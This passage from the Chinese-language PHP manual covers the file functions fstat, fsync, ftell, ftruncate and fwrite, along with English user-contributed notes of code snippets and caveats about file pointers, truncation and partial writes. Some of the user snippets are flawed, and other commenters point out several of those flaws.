         $text[$lines-$linecounter-1] = fgets($handle);
         if($beginning break;
       }
       fclose ($handle);
       return array_reverse($text); // array_reverse is optional: you can also just return the $text array which consists of the file's lines.
}

The good thing now is, that you don't get an error when your requesting more lines than the file contains. In this case the function will just return the whole file content.
lucky at somnius dot com dot ar 18-Aug-2006 05:35
Jim's (jim at lfchosting dot com) code for the last-line issue is perfect if the file is not empty, or moreover if it has more than one line. However if the file you're using cotains no new-line character at all (i.e. it is empty or it's got one line and only one) the while loop will stuck indefinitely.

I know this script is meant for big files which would always contain at least several lines, but it would be clever to make the script error-proof.

Thus, here's a little modification to his code.

<?php
function readLastLine ($file) {
    $fp = @fopen($file, "r");

    $pos = -1;
    $t = " ";
    while ($t != "\n") {
        if (!fseek($fp, $pos, SEEK_END)) { // *** - fseek returns 0 if successfull, and -1 if it has no succes as in seeking a byte outside the file's range
            $t = fgetc($fp);
            $pos = $pos - 1;
        } else { // ***
            rewind($fp); // ***
            break; // ***
        } // ***
    }
    $t = fgets($fp);
    fclose($fp);
    return $t;
}
?>

Lines added and/or modified have been marked with "// ***". I hope this helps!

Regards!
mail at ulf-kosack dot de 27-May-2006 10:44
Here a little extension for the code of ekow.
If you want to read more than one line and more than one file. Some times the last five ore ten lines are interesting in.

You only have to submit a array with filenames and optionally a number of lines you want to read.

<?php
  function read_logfiles($files, $lines=5)
  {
    foreach($files as $file_num => $file) {
      if (file_exists ($file) ) {
        $handle = fopen($file, "r");
        $linecounter = $lines;
        $pos = -2;
        $t = " ";
        $text[$file_num] = "";
        while ($linecounter > 0) {
          while ($t != "\n") {
            fseek($handle, $pos, SEEK_END);
            $t = fgetc($handle);
            $pos --;
          }
          $t = " ";
          $text[$file_num] .= fgets($handle);
          $linecounter --;
        }
        fclose ($handle);
      } else {
        $text[$file_num] = "The file doesn't exist.";
      }
    }

    return $text;
?>
ekow[at]te.ugm.ac.id 11-Dec-2005 05:22
A little correction for code to read last line from chenganeyou at eyou dot com.
$linenumber = sizeof($file)-1;
should be
$linenumber = sizeof($contents)-1;
because sizeof will count array element, not file size.
<?php
function readlastline($file)
{
       $linecontent = " ";
       $contents = file($file);
       $linenumber = sizeof($contents)-1;
       $linecontet = $contents[$linenumber];
       unset($contents,$linenumber);
       return $linecontent;
}
?>
chenganeyou at eyou dot com 27-Jun-2005 01:35
I use the following codes to read the last line of a file.
Compared to jim at lfchosting dot com, it should be more efficient.

<?php
function readlastline($file)
{
       $linecontent = " ";
       $contents = file($file);
       $linenumber = sizeof($file)-1;
       $linecontet = $contents[$linenumber];
       unset($contents,$linenumber);
       return $linecontent;
}
?>
phil at NOSPAM dot blisswebhosting dot com 25-May-2005 08:43
In order to read a text file from end->beginning e.g display the most recent contents of a log file first.  I use the following.

It basically just uses fseek to find the end of the file, ftell to find the byte count for a counter, then iterates backwards through the file using fgetc to test for the newline charater.

$i=0 ;
$lines=500 ;
$fp = fopen($log,"r") ;
if(is_resource($fp)){
    fseek($fp,0,SEEK_END) ;
    $a = ftell($fp) ;
    while($i <= $lines){
        if(fgetc($fp) == "\n"){
            echo (fgets($fp));
            $i++ ;
        }
    fseek($fp,$a) ;
    $a-- ;
    }
}
alan at peaceconstitution.com 17-May-2005 06:03
Thanks to Dan, whose above comment provided a key to solve the issue of how to append to a file.
     After, using phpinfo(); I made sure my installation of PHP had the requisite settings mentioned in the text to the manual entry for fopen(), I was puzzled as to why my use of fopen() with the append option 'a' (append option) didn't work. Then I  read a comment contributed to Appendix L (http://us2.php.net/manual/en/wrappers.php) that the append option 'a' for fopen() doesn't work as expected. The writer suggested using the 'w' option instead, which I found did work. But the 'w' option (write option) overwrites everything in the file.
     The question remained how to accomplish appending. Following Dan's suggestion about the 'r+' option, I tried this, which works fine:
       $string = "Message to write to log";
       $filehandle = fopen ("/home/name/sqllogs/phpsqlerr.txt", 'r+');
    fseek ( $filehandle,0, SEEK_END);
    fwrite ( $filehandle, $string."\n" );
    fclose ($filehandle);
Lutz ( l_broedel at gmx dot net ) 14-Feb-2005 02:25
Based on the function below, provided by info at o08 dot com (thanks), the following should enable you to read a single line from a file, identified by the line number (starting with 1):

<?
    function readLine ($linenum,$fh) {
        $line = fgets ($fh, 4096);
        $pos = -1;
        $i = 0;

        while (!feof($fh) && $i<($linenum-1)) {
            $char = fgetc($fh);
            if ($char != "\n" && $char != "\r") {
                fseek($fh, $pos, SEEK_SET);
                $pos ++;
            }
            else $i ++;
        }
        $line = fgets($fh);
        return $line;
    } //readLine()
?>
jim at lfchosting dot com 04-Nov-2003 06:03
Here is a function that returns the last line of a file.  This should be quicker than reading the whole file till you get to the last line.  If you want to speed it up a bit, you can set the $pos = some number that is just greater than the line length.  The files I was dealing with were various lengths, so this worked for me.

<?php
function readlastline($file)
{
        $fp = @fopen($file, "r");
        $pos = -1;
        $t = " ";
        while ($t != "\n") {
              fseek($fp, $pos, SEEK_END);
              $t = fgetc($fp);
              $pos = $pos - 1;
        }
        $t = fgets($fp);
        fclose($fp);
        return $t;
}
?>
16-Sep-2002 01:25
Don't use filesize() on files that may be accessed and updated by parallel processes or threads (as the filesize() return value is maintained in a cache).
Instead lock the opened file and use fseek($fp,0,SEEK_END) and ftell($fp) to get the actual filesize if you need to perform a fread() call to read the whole file...


通过已打开的文件指针取得文件信息

  • ? fseek
  • fsync ?
  • PHP Manual
  • 文件系统函数
  • 通过已打开的文件指针取得文件信息

fstat

(PHP 4, PHP 5, PHP 7, PHP 8)

fstat — 通过已打开的文件指针取得文件信息

说明

fstat(resource $stream): array|false

获取由文件指针 stream 所打开文件的统计信息。本函数和 stat() 函数相似，除了它是作用于已打开的文件指针而不是文件名。

参数

stream

文件系统指针，是典型地由 fopen() 创建的 resource(资源)。

返回值

返回一个数组具有该文件的统计信息，该数组的格式详细说明于手册中 stat() 页面里。失败时返回 false。

示例

Example #1 fstat() 例子

<?php

// 打开文件
$fp = fopen("/etc/passwd", "r");

// 取得统计信息
$fstat = fstat($fp);

// 关闭文件
fclose($fp);

// 只显示关联数组部分
print_r(array_slice($fstat, 13));
?>

以上示例的输出类似于：

Array
(
    [dev] => 771
    [ino] => 488704
    [mode] => 33188
    [nlink] => 1
    [uid] => 0
    [gid] => 0
    [rdev] => 0
    [size] => 1114
    [atime] => 1061067181
    [mtime] => 1056136526
    [ctime] => 1056136526
    [blksize] => 4096
    [blocks] => 8
)

注释

Note: 此函数不能作用于远程文件，被检查的文件必须是可通过服务器的文件系统访问的。

User Contributed Notes

tom at bitworks dot de 11-Jun-2017 01:49
Remember atime will not be updated by simple read access to the file unless you take care for that in the mounting parameters of your filesystem.

Instead of atime, mtime will be delivered. But mtime only will be updated, if the contents of the file has changed.

Due to this behavior take care in your Session-System. Using session_start() will not be sufficiant to keep your sessions alive. You should write into the Session, e. g. :

$_SESSION = time();

That retriggers your mtime and atime, even if the mounting parameter for atime is set to "noatime" or is missing, dependent of the used file System.
broom at alturnanetworks dot com 03-Oct-2008 03:21
Another ftp_get_contents() approach, using a temperary stream handler. Returns file contents of remote file as string.

<?php
function ftp_get_contents ($conn_id, $remote_filename) {
    //Create temp handler:
    $tempHandle = fopen('php://temp', 'r+');

    //Get file from FTP assuming that it exists:
    ftp_fget($conn_id, $tempHandle, $remote_filename, FTP_ASCII, 0));

    //Getting detailed stats to check filesize:
    $fstats = fstat($tempHandle);

    return fread($tempHandle, $fstats['size']);
}
?>

(It is recommended to add some error handling)


同步文件变更（包括元数据）

  • ? fstat
  • ftell ?
  • PHP Manual
  • 文件系统函数
  • 同步文件变更（包括元数据）

fsync

(PHP 8 >= 8.1.0)

fsync — 同步文件变更（包括元数据）

说明

fsync(resource $stream): bool

此函数同步文件变更，包括元数据。与 fflush() 类似，但同时还让操作系统将变更写入到存储介质。

参数

stream

文件指针必须是有效的，必须指向由 fopen() 或 fsockopen() 成功打开的文件(并还未由 fclose() 关闭)。

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 fsync() 示例

<?php

$file = 'test.txt';

$stream = fopen($file, 'w');
fwrite($stream, 'test data');
fwrite($stream, "\r\n");
fwrite($stream, 'additional data');

fsync($stream);
fclose($stream);
?>

参见

  • fdatasync() - 同步文件数据（不包含元数据）
  • fflush() - 将缓冲内容输出到文件

User Contributed Notes

Dave Gebler 30-Nov-2021 10:15
Two points worth noting:

1. fsync() is not suitable for high throughput, use it only when the durability of a file write really matters to you.

2. fsync() includes an implicit call to fflush() so you don't need to manually flush before you sync.


返回文件指针读/写的位置

  • ? fsync
  • ftruncate ?
  • PHP Manual
  • 文件系统函数
  • 返回文件指针读/写的位置

ftell

(PHP 4, PHP 5, PHP 7, PHP 8)

ftell — 返回文件指针读/写的位置

说明

ftell(resource $stream): int|false

返回由 stream 指定的文件指针的位置，也就是文件流中的偏移量。

参数

stream

文件指针必须是有效的，且必须指向一个通过 fopen() 或 popen() 成功打开的文件。在附加模式（加参数 "a" 打开文件）中 ftell() 会返回未定义错误。

返回值

以整数形式返回由 stream 引用的文件指针的位置，即文件流中的偏移量。

如果出错，返回 false。

Note: 因为 PHP 的整数类型是有符号整型而且很多平台使用 32 位整型，对 2GB 以上的文件，一些文件系统函数可能返回无法预期的结果。

示例

Example #1 ftell() 例子

<?php

// opens a file and read some data
$fp = fopen("/etc/passwd", "r");
$data = fgets($fp, 12);

// where are we ?
echo ftell($fp); // 11

fclose($fp);

?>

参见

  • fopen() - 打开文件或者 URL
  • popen() - 打开进程文件指针
  • fseek() - 在文件指针中定位
  • rewind() - 倒回文件指针的位置

User Contributed Notes

d9k at ya dot ru 20-Oct-2022 09:45
Had to use

<?php
posix_isatty(STDIN) == false
?>

instead of

<?php
ftell(STDIN) !== false
?>

after upgrade from php 7 to 8 on ubuntu.
d9k at ya dot ru 20-Oct-2022 09:44
Had to use

<?php
posix_isatty(STDIN) == false
?>

instead of

<?php
ftell(STDIN) !== false
?>

after upgrade from php 7 to 8 on ubuntu.
Mindaugas 15-Mar-2015 09:37
When opening a file for reading and writing via fopen('file','a+') the file pointer should be at the end of the file. However ftell() returns int(0) even if the file is not empty. Also it seems that there is two pointers, first for reading and second for writing, because it acts differently on first operation (reading or writing).

Example:
<?php
$file = fopen('counter.txt', 'w');
fwrite($file, '123456789');
fclose($file);

$file = fopen('counter.txt', 'r');
echo ftell($file) . ' "' . fgets($file) . '" ' . ftell($file) . PHP_EOL;
fclose($file);

$file = fopen('counter.txt', 'a+');
echo ftell($file) . ' "' . fgets($file) . '" ' . ftell($file) . PHP_EOL;
fclose($file);

$file = fopen('counter.txt', 'r+');
fwrite($file, 'rr');
echo ftell($file) . ' "' . fgets($file) . '" ' . ftell($file) . PHP_EOL;
fclose($file);

$file = fopen('counter.txt', 'a+');
fwrite($file, 'aa');
echo ftell($file) . ' "' . fgets($file) . '" ' . ftell($file) . PHP_EOL;
fclose($file);

$file = fopen('counter.txt', 'r');
echo ftell($file) . ' "' . fgets($file) . '" ' . ftell($file) . PHP_EOL;
fclose($file);
?>

Result:
0 "123456789" 9
0 "123456789" 9
2 "3456789" 9
2 "" 2
0 "rr3456789aa" 11
burninleo at gmx dot net 07-Sep-2009 01:38
When opening a file to append via fopen('file','ab') the file pointer should be at the end of the file. However ftell() returns int(0) even if the file is not empty and even after writing some text into the file.
missilesilo at gmail dot com 27-Feb-2007 03:02
In response to php at michielvleugel dot com:

This does not seem to be the case with PHP 5.2.0 and FreeBSD 5.4.

#!/usr/local/bin/php
<?php
$tell = ftell(STDIN);
var_dump($tell);
?>

root@localhost:/home/david# echo Hello World | ./test.php
int(0)
root@localhost:/home/david# ./test.php
int(6629927)

When something is piped to the script, it returns an integer value of 0, however, it also returns an integer when nothing is piped to the script.

The code should  be modified to this:

#!/usr/local/bin/php
<?php
$tell = ftell(STDIN);

if ($tell === 0)
    echo "Something was piped: " . fread(STDIN,256) . "\n";
else
    echo "Nothing was piped\n";
?>

And the result is:

root@localhost:/home/david# echo Hello World | ./test.php
Something was piped: Hello World
root@localhost:/home/david# ./test.php
Nothing was piped
mbirth at webwriters dot de 21-Oct-2005 11:09
Attention! If you open a file with the "text"-modifier (e.g. 'rt') and the file contains \r\n as line-endings, ftell() returns the position as if there were only \n as line-endings.

Example:
If the first line only contains 1 char followed by \r\n, the start of the second line should be position 3. (1char + \r + \n = 3 bytes) But ftell() will return 2 - ignoring one byte. If you call ftell() in line 3, the value will differ from the real value by 2 bytes. The error gets greater with every line.

(Watched this behavior in PHP 5.0.4 for Windows.)

BUT: fseek() works as expected - using the true byte values.
mweierophinney at gmail dot com 21-Jun-2005 10:00
Actually, ftell() gives more than an undefined result for append only streams; it gives the offset from the end of the file as defined before any data was appended. So if you open a file that had 3017 characters, and append 41 characters, and then execute ftell(), the value returned will be 41.
php at michielvleugel dot com 01-Jun-2005 03:19
When trying to determine whether or not something was piped into a command line script, it is not smart to do a fgets(STDIN), because it will wait indefenitely if nothing is piped. Instead, I found ftell on STDIN to be very handy: it will return an integer of zero when something was piped, and nothing if nothing was piped to the script.

#!/usr/bin/php4 -q
<?
#following will hang if nothing is piped:
#$sometext = fgets(STDIN, 256)

$tell = ftell(STDIN);

if (is_integer($tell)==true)
  {echo "Something was piped: ".fread(STDIN,256)."\n";}
else
  {echo "Nothing was piped\n";}

?>


将文件截断到指定的长度

  • ? ftell
  • fwrite ?
  • PHP Manual
  • 文件系统函数
  • 将文件截断到指定的长度

ftruncate

(PHP 4, PHP 5, PHP 7, PHP 8)

ftruncate — 将文件截断到指定的长度

说明

ftruncate(resource $stream, int $size): bool

接受文件指针 stream 作为参数，并将文件大小截取为 size。

参数

stream

文件指针。

Note:

stream 必须打开写入。

size

截断的大小。

Note:

If size is larger than the file then the file is extended with null bytes.

If size is smaller than the file then the file is truncated to that size.

返回值

成功时返回 true， 或者在失败时返回 false。

示例

Example #1 文件截取示例

<?php
$filename = 'lorem_ipsum.txt';

$handle = fopen($filename, 'r+');
ftruncate($handle, rand(1, filesize($filename)));
rewind($handle);
echo fread($handle, filesize($filename));
fclose($handle);
?>

注释

Note:

文件指针不会改变。

参见

  • fopen() - 打开文件或者 URL
  • fseek() - 在文件指针中定位

User Contributed Notes

Masoud 24-Nov-2020 11:55
The problem that rc at opelgt dot org mentioned seems completely logical.

When pointer is at offset 4 and you truncate file, the pointer is still at offset 4.

So when you write(), the first 4 bytes are filled with null byte by Operating System - There is nothing wrong by PHP. And it's filled with null byte, because there is data on disk and that needs to be cleared with zero bits.

Even though this is a Operating System's gotcha, to avoid data corruption, PHP Docs should mention it clearly. Also it would be nice if PHP automatically sets the pointer's offset to SEEK_END  after truncating to an smaller size to fool-proof it.
Julien B. 01-May-2015 02:36
You MUST use rewind() after ftruncate() to replace file content
emailfire at gmail dot com 16-Jun-2011 02:14
If you want to empty a file of it's contents bare in mind that opening a file in w mode truncates the file automatically, so instead of doing...

<?php
$fp = fopen("/tmp/file.txt", "r+");
ftruncate($fp, 0);
fclose($fp);
?>

You can just do...

<?php
$fp = fopen("/tmp/file.txt", "w");
fclose($fp);
?>
eurosat7 at yahoo dot de 21-Apr-2011 08:31
If you want to ftruncate but keep the end:
<?php
    function ftruncatestart($filename,$maxfilesize){
        $size=filesize($filename);
        if ($size<$maxfilesize*1.0) return;
        $maxfilesize=$maxfilesize*0.5; //we don't want to do it too often...
        $fh=fopen($filename,"r+");
        $start=ftell($fh);
        fseek($fh,-$maxfilesize,SEEK_END);
        $drop=fgets($fh);
        $offset=ftell($fh);
        for ($x=0;$x<$maxfilesize;$x++){
            fseek($fh,$x+$offset);
            $c=fgetc($fh);
            fseek($fh,$x);
            fwrite($fh,$c);
        }
        ftruncate($fh,$maxfilesize-strlen($drop));
        fclose($fh);
    }
?>
It will not just cut it but search for a newline so you avoid corrupting your csv or logfiles. But I don't know if you will stress the reading head of your drive. ;)
rc at opelgt dot org 05-Jan-2008 10:49
Writing after ftruncate

I didnt expect that I can write in the middle of nowhere. I thought that I would write at the beginning of the file but the first 4 bytes were filled automatically with NULLs followed by "56":

<?php
$str1  = 1234;
$str2  =   56;
$datei = "test.txt";

$dh = fopen($datei,"w");
fwrite($dh, $str1);
fclose($dh);

$dh = fopen ($datei,"r+");
echo "content: ".fread($dh, filesize($datei))."<br>";
echo "pointer after fread at: ".ftell($dh)."<br>";
ftruncate($dh, 0);
echo "pointer after truncate at: ".ftell($dh)."<br>";
fwrite($dh, $str2);
echo "pointer after fwrite at: ".ftell($dh)."<br>";
rewind($dh);
echo "pointer after rewind at: ".ftell($dh)."<br>";
$str = fread($dh, 6);
echo "content: $str<br>in ASCII: ";
for($i = 0; $i < 6; $i++)
 echo ord($str{$i})."-";
fclose($dh);

/*
   OUTPUT:
   content: 1234
   pointer after fread at: 4
   pointer after truncate at: 4
   pointer after fwrite at: 6
   pointer after rewind at: 0
   content: 56
   in ASCII: 0-0-0-0-53-54
*/
?>

So not only ftruncate is filling an empty file up with NULLs as in the note before. Fread is filling leading space with NULLs too.


写入文件（可安全用于二进制文件）

  • ? ftruncate
  • glob ?
  • PHP Manual
  • 文件系统函数
  • 写入文件（可安全用于二进制文件）

fwrite

(PHP 4, PHP 5, PHP 7, PHP 8)

fwrite — 写入文件（可安全用于二进制文件）

说明

fwrite(resource $stream, string $data, ?int $length = null): int|false

fwrite() 把 data 的内容写入 文件指针 stream 处。

参数

stream

文件系统指针，是典型地由 fopen() 创建的 resource(资源)。

data

要写入的字符串。

length

如果 length 是 int，当写入了 length 个字节或者写完了 string 以后，写入就会停止，看先碰到哪种情况。

返回值

fwrite() 返回写入的字符数， 或者在失败时返回 false。

错误／异常

fwrite() 失败时会引发 E_WARNING。

更新日志

版本 | 说明
8.0.0 | 现在 length 可以为 null。

示例

Example #1 简单的 fwrite() 示例

<?php
$filename = 'test.txt';
$somecontent = "Add this to the file\n";

// 首先确认文件存在且可写。
if (is_writable($filename)) {

// 在示例中，使用追加模式打开 $filename。
// 文件指针应该在文件的末尾，
// 那就是使用 fwrite() 写入 $somecontent 的地方。
if (!$fp = fopen($filename, 'a')) {
echo "Cannot open file ($filename)";
exit;
}

// 将 $somecontent 写入到打开的文件。
if (fwrite($fp, $somecontent) === FALSE) {
echo "Cannot write to file ($filename)";
exit;
}

echo "Success, wrote ($somecontent) to file ($filename)";

fclose($fp);

} else {
echo "The file $filename is not writable";
}
?>

注释

Note:

Writing to a network stream may end before the whole string is written. Return value of fwrite() may be checked:

<?php
function fwrite_stream($fp, $string) {
for ($written = 0; $written < strlen($string); $written += $fwrite) {
$fwrite = fwrite($fp, substr($string, $written));
if ($fwrite === false) {
return $written;
}
}
return $written;
}
?>

Note:

在区分二进制文件和文本文件的系统上（如 Windows） 打开文件时，fopen() 函数的 mode 参数要加上 'b'。

Note:

如果 stream 是 fopen() 追加模式，fwrite() 是原子操作（unless the size of data exceeds the filesystem's block size, on some platforms, and as long as the file is on a local filesystem）。也就是说，在调用 fwrite() 之前不需要 flock() 资源；所有的数据都将会不间断写入。

Note:

如果向文件指针写入两次，然后数据将追加到文件内容的末尾：

<?php
$fp = fopen('data.txt', 'w');
fwrite($fp, '1');
fwrite($fp, '23');
fclose($fp);

// "data.txt"的内容是 123 而不是 23！
?>

参见

  • fread() - 读取文件（可安全用于二进制文件）
  • fopen() - 打开文件或者 URL
  • fsockopen() - 打开 Internet 或者 Unix 套接字连接
  • popen() - 打开进程文件指针
  • file_get_contents() - 将整个文件读入一个字符串
  • pack() - 将数据打包成二进制字符串

User Contributed Notes

synnus at gmail dot com 09-Jul-2021 01:25
<?php
/*
Write to offset with positive offset

PHP_INT_MIN / PHP_INT_MAX 32-bit PHP: -2,147,483,648 to +2,147,483,647
PHP_INT_MIN / PHP_INT_MAX 64-bit PHP: -9,223,372,036,854,775,808 to +9,223,372,036,854,775,807

File_writing 32bit 0 -> 4 294 967 295
File_writing 64bit 0 -> 18 446 744 073 709 551 615

$handel =     fopen( myfilname );
$t_f_max      is max file size in BYTE ex: 19998
$offset        is position in offset BYTE ex : 19995
$bin         your binary data you want write

Work in 32bit and 64bit
*/

function File_writing($handel,$t_f_max,$offset,$bin) {
                ($offset > PHP_INT_MAX) ? fseek($handel,-($t_f_max-$offset),SEEK_END) : fseek($handel,$offset,SEEK_SET);
                fwrite($handel,$bin);
                return $offset;
        }

?>
divinity76 at gmail dot com 28-Jan-2021 01:09
if you need a function that writes all data, maybe try

<?php

    /**
     * writes all data or throws
     *
     * @param mixed $handle
     * @param string $data
     * @throws \RuntimeException when fwrite returned <1 but still more data to write
     * @return void
     */
    /*private static*/ function fwrite_all($handle, string $data): void
    {
        $original_len = strlen($data);
        if ($original_len > 0) {
            $len = $original_len;
            $written_total = 0;
            for (;;) {
                $written_now = fwrite($handle, $data);
                if ($written_now === $len) {
                    return;
                }
                if ($written_now < 1) {
                    throw new \RuntimeException("could only write {$written_total}/{$original_len} bytes!");
                }
                $written_total += $written_now;
                $data = substr($data, $written_now);
                $len -= $written_now;
                // assert($len > 0);
                // assert($len === strlen($data));
            }
        }
    }
niklesh at example dot com 16-Jun-2020 10:54
$handles can also be used to output in console like below example

fwrite(STDOUT, "Console Output");
2184364 at gmail dot com 14-Oct-2019 11:31
//fwrite writes over, i.e. this example (win) may be misleading:

$file = 'e:/1.txt';

file_put_contents($file, 'hello'.chr(1).'0df6ac'.chr(0));

$fp = fopen($file, 'r+b');

$str = fread($fp, filesize($file));

$str = strtr($str, [chr(0)=>'']);
echo $str.PHP_EOL;//hello0df6ac

fseek($fp, 0);//указатель в начало
fwrite($fp, $str);

fclose($fp);

//add ftruncate ($ fp, 0);
//this will overwrite the file:

file_put_contents($file, 'hello'.chr(1).'0df6ac'.chr(0));

$fp = fopen($file, 'r+b');

$str = fread($fp, filesize($file));

$str = strtr($str, [chr(0)=>'']);
echo $str.PHP_EOL;//hello0df6ac

ftruncate ($ fp, 0);
fseek($fp, 0);//указатель в начало
fwrite($fp, $str);

fclose($fp);
David Spector 27-Jul-2016 02:01
This may save you time: note that neither "binary-safe file write" nor the use of b mode in fopen mean that fwrite can write binary. It can only write strings (or a single character). For example,  attempting to write the byte 0x1 using fwrite results in writing the byte value 0x31.

If you wish to write binary values (bits, bytes, integers, etc.), use a statement like fprintf($Res, "%c", 0x1); . This statement will write a byte to the current offset in the file without converting it to a character (in this case, it will write 0x1).
synnus at gmail dot com 02-Apr-2016 05:49
// you want copy dummy file or send dummy file
// it is possible to send a file larger than 4GB and write without FSEEK used is limited by PHP_INT_MAX. it works on a system 32-bit or 64-bit
// fwrite and fread non pas de limite de position du pointeur

<?php

$gfz =  filesize_dir("d:\\starwars.mkv"); // 11,5GB
echo 'Z:',$gfz,PHP_EOL;

$fz = fopen('d:\\test2.mkv', 'wb');
$fp = fopen('d:\\starwars.mkv', 'rb');
echo PHP_EOL;
$a = (float) 0;
while(($l=fread($fp, 65536))) {
    fwrite($fz, $l);
    if(($a+=65536)%5) echo "\r", '>', $a, ' : ' , $gfz;
}

fclose($fp);
fclose($fz);

// test2.mkv' is 11,5GB

    function filesize_dir($file) {
        exec('dir ' . $file, $inf);
        $size_raw = $inf[6];
        $size_exp = explode(" ",$size_raw);
        $size_ext = $size_exp[19];
        $size_int = (float) str_replace(chr(255), '', $size_ext);
        return $size_int;
    }
?>
Anonymous 02-Apr-2016 05:48
// you want copy dummy file or send dummy file
// it is possible to send a file larger than 4GB and write without FSEEK used is limited by PHP_INT_MAX. it works on a system 32-bit or 64-bit
// fwrite and fread non pas de limite de position du pointeur

<?php

$gfz =  filesize_dir("d:\\starwars.mkv"); // 11,5GB
echo 'Z:',$gfz,PHP_EOL;

$fz = fopen('d:\\test2.mkv', 'wb');
$fp = fopen('d:\\starwars.mkv', 'rb');
echo PHP_EOL;
$a = (float) 0;
while(($l=fread($fp, 65536))) {
    fwrite($fz, $l);
    if(($a+=65536)%5) echo "\r", '>', $a, ' : ' , $gfz;
}

fclose($fp);
fclose($fz);

// test2.mkv' is 11,5GB

    function filesize_dir($file) {
        exec('dir ' . $file, $inf);
        $size_raw = $inf[6];
        $size_exp = explode(" ",$size_raw);
        $size_ext = $size_exp[19];
        $size_int = (float) str_replace(chr(255), '', $size_ext);
        return $size_int;
    }
?>
qrworld.net 11-Nov-2014 03:06
Here you have a function found on the website http://softontherocks.blogspot.com/2014/11/funcion-para-escribir-en-un-fichero-log.html with an example of how to make a log file.

The function is this:

function writeLog($data) {
list($usec, $sec) = explode(' ', microtime());
$datetime = strftime("%Y%m%d %H:%M:%S",time());
$msg = "$datetime'". sprintf("%06s",intval($usec*1000000)).": $data";
$save_path = 'foo.txt';
$fp = @fopen($save_path, 'a'); // open or create the file for writing and append info
fputs($fp, "$msg\n"); // write the data in the opened file
fclose($fp); // close the file
}
Anonymous 09-Sep-2014 02:56
Bad example!

The result of fwrite could be either FALSE or 0.

So it should be correctly:

if (false === fwrite($handle, $somecontent)) { ....
dominic at varspool dot com 04-Feb-2014 04:49
Note that the optional $length argument is expected to be an int, and cannot be skipped by passing null.

That is, `fwrite($handle, $string, null)` is treated as `fwrite($handle, $string, 0)`, and will write zero bytes, not the whole string.
Jon Haynes 01-Apr-2011 02:48
Be careful of using reserved Windows filenames in fwrite operations.

<?php
$fh = fopen('prn.txt', 'w');
fwrite($fh, 'wtf?');
echo 'done' . PHP_EOL;
?>

The above script will hang (tested on Windows 7) before it can echo 'done'.

This is due to another 'feature' of our favourite operating system where filenames like prn.xxx, con.xxx, com1.xxx and aux.xxx (with xxx being any filename extension) are Windows reserved device names. Attempts to create/read/write to these files hangs the interpreter.
nate at frickenate dot com 24-Mar-2010 09:51
After having problems with fwrite() returning 0 in cases where one would fully expect a return value of false, I took a look at the source code for php's fwrite() itself. The function will only return false if you pass in invalid arguments. Any other error, just as a broken pipe or closed connection, will result in a return value of less than strlen($string), in most cases 0.

Therefore, looping with repeated calls to fwrite() until the sum of number of bytes written equals the strlen() of the full value or expecting false on error will result in an infinite loop if the connection is lost.

This means the example fwrite_stream() code from the docs, as well as all the "helper" functions posted by others in the comments are all broken. You *must* check for a return value of 0 and either abort immediately or track a maximum number of retries.

Below is the example from the docs. This code is BAD, as a broken pipe will result in fwrite() infinitely looping with a return value of 0. Since the loop only breaks if fwrite() returns false or successfully writes all bytes, an infinite loop will occur on failure.

<?php
// BROKEN function - infinite loop when fwrite() returns 0s
function fwrite_stream($fp, $string) {
    for ($written = 0; $written < strlen($string); $written += $fwrite) {
        $fwrite = fwrite($fp, substr($string, $written));
        if ($fwrite === false) {
            return $written;
        }
    }
    return $written;
}
?>
oktavianus dot programmer at gmail dot com 03-Jun-2009 08:51
this the another sample to use fwrite with create a folder and create the txt file.

<?php
$mypath="testdir\\subdir\\test";
mkdir($mypath,0777,TRUE);
$filename = $mypath.'\test.txt';
$handle = fopen($filename,"x+");
$somecontent = "Add this to the file Oktavianus";
fwrite($handle,$somecontent);
echo "Success";
fclose($handle);
?>

please try...
Oktavianus
Anonymous 15-May-2009 09:36
If you write with the pointer in the middle of a file, it overwrites what's there rather than shifting the rest of the file along.
ceo at l-i-e dot com 10-Nov-2008 03:07
If you are trying to write binary/structured data (e.g., a 4-byte sequence for an (int)) to a file, you will need to use:
http://php.net/pack
james at facepwn dot com 09-Oct-2008 05:25
if (is_writable($filename)) {

Could also be

if (is_writable($filename) or die ("Can not write to ".$filename)) {
elinor_hust at REMOVETHIS dot hotmail dot com 01-Apr-2008 05:26
Remember to use double-quotes when outputting special characters such as \n or they come out literally.

...
dharris dot nospam at removethispart dot drh dot net 20-Feb-2008 10:47
Some people say that when writing to a socket not all of the bytes requested to be written may be written. You may have to call fwrite again to write bytes that were not written the first time. (At least this is how the write() system call in UNIX works.)

This is helpful code (warning: not tested with multi-byte character sets)

function fwrite_with_retry($sock, &$data)
{
    $bytes_to_write = strlen($data);
    $bytes_written = 0;

    while ( $bytes_written < $bytes_to_write )
    {
        if ( $bytes_written == 0 ) {
            $rv = fwrite($sock, $data);
        } else {
            $rv = fwrite($sock, substr($data, $bytes_written));
        }

        if ( $rv === false || $rv == 0 )
            return( $bytes_written == 0 ? false : $bytes_written );

        $bytes_written += $rv;
    }

    return $bytes_written;
}

Call this like so:

    $rv = fwrite_with_retry($sock, $request_string);

    if ( ! $rv )
        die("unable to write request_string to socket");
    if ( $rv != strlen($request_string) )
        die("sort write to socket on writing request_string");
chad 0x40 herballure 0x2e com 05-Sep-2007 10:13
Remember to check the return value of fwrite(). In particular, writing into a socket can return fewer bytes than requested, and you'll have to try again with the remainder of your data.
cutmaster at fearlesss dot com 09-Mar-2007 03:09
For those who, like me, lost a lot of minutes (hours) to understand why fwrite doesn't create a real utf-8 file, here's the explanation I've found :

I tried to do something like this :
<?php
$myString = utf8_encode("Test with accents éèà?");
$fh=fopen('test.xml',"w");
fwrite($fh,$myString);
fclose($fh);
?>

For a mysterious reason, the resulted file shows the accent without the utf-8 conversion.

I tried the binary, mode, etc. etc. And finally I've found it :
It seems that fwrite NEEDS to have the utf8_encode function INSIDE its parameters like this, to understand it must create a non-text only file :
<?php
$myString = "Test with accents éèà?";
$fh=fopen('test.xml',"w");
fwrite($fh,utf8_encode($myString));
fclose($fh);
?>
Hope this will help
zaccraven at junk.com 11-Sep-2006 12:08
Use this to get a UTF-8 Unicode CSV file that opens properly in Excel:

$tmp = chr(255).chr(254).mb_convert_encoding( $tmp, 'UTF-16LE', 'UTF-8');
$write = fwrite( $filepath, $tmp );

Use a tab character, not comma, to seperate the fields in  the $tmp.

Credit for this goes to someone called Eugene Murai, I found this solution by him after searching for several hours.
james at nicolson dot biz 06-Jul-2005 08:09
I could'nt quite get MKP Dev hit counter to work.... this is how I modified it
<?
function hitcount()
{
$file = "counter.txt";
if ( !file_exists($file)){
        touch ($file);
        $handle = fopen ($file, 'r+'); // Let's open for read and write
        $count = 0;

}
else{
        $handle = fopen ($file, 'r+'); // Let's open for read and write
